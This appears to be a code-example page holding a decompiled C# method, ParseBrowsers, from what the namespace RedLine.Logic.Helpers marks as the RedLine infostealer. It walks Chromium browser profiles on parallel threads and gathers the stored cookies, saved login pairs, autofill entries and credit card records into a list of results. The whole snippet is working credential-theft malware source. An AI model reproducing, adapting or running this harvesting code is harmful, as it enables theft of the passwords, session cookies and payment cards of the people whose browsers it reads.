示例#1
0
        public static List <Browser> ParseBrowsers()
        {
            List <Browser> browserProfiles = new List <Browser>();

            try
            {
                int           countCompleted = 0;
                object        locker         = new object();
                List <string> profile        = ChromiumEngine.GetProfile();
                foreach (string str1 in profile)
                {
                    string rootPath = str1;
                    new Thread((ThreadStart)(() =>
                    {
                        Browser browser = new Browser();
                        try
                        {
                            string fullName = new FileInfo(rootPath).Directory.FullName;
                            string str1 = rootPath.Contains(RedLine.Logic.Helpers.Constants.RoamingAppData) ? ChromiumEngine.GetRoamingName(fullName) : ChromiumEngine.GetLocalName(fullName);
                            if (!string.IsNullOrEmpty(str1))
                            {
                                string str2 = str1[0].ToString().ToUpper() + str1.Remove(0, 1);
                                string name = ChromiumEngine.GetName(fullName);
                                if (!string.IsNullOrEmpty(name))
                                {
                                    browser.Name = str2;
                                    browser.Profile = name;
                                    browser.Cookies = (IList <Cookie>)ChromiumEngine.EnumCook(fullName).IsNull <List <Cookie> >();
                                    browser.Credentials = (IList <LoginPair>)ChromiumEngine.GetCredentials(fullName).IsNull <List <LoginPair> >();
                                    browser.Autofills = (IList <Autofill>)ChromiumEngine.EnumFills(fullName).IsNull <List <Autofill> >();
                                    browser.CreditCards = (IList <CreditCard>)ChromiumEngine.EnumCC(fullName).IsNull <List <CreditCard> >();
                                }
                            }
                        }
                        catch
                        {
                        }
                        lock (locker)
                        {
                            IList <Cookie> cookies = browser.Cookies;
                            if ((cookies != null ? (cookies.Count > 0 ? 1 : 0) : 0) == 0)
                            {
                                IList <LoginPair> credentials = browser.Credentials;
                                if ((credentials != null ? (credentials.Count > 0 ? 1 : 0) : 0) == 0)
                                {
                                    IList <CreditCard> creditCards = browser.CreditCards;
                                    if ((creditCards != null ? (creditCards.Count > 0 ? 1 : 0) : 0) == 0)
                                    {
                                        IList <Autofill> autofills = browser.Autofills;
                                        if ((autofills != null ? (autofills.Count > 0 ? 1 : 0) : 0) == 0)
                                        {
                                            goto label_11;
                                        }
                                    }
                                }
                            }
                            browserProfiles.Add(browser);
                            label_11:
                            ++countCompleted;
                        }
                    })).Start();
                }
                while (countCompleted != profile.Count)
                {
                    ;
                }
            }
            catch
            {
            }
            return(browserProfiles);
        }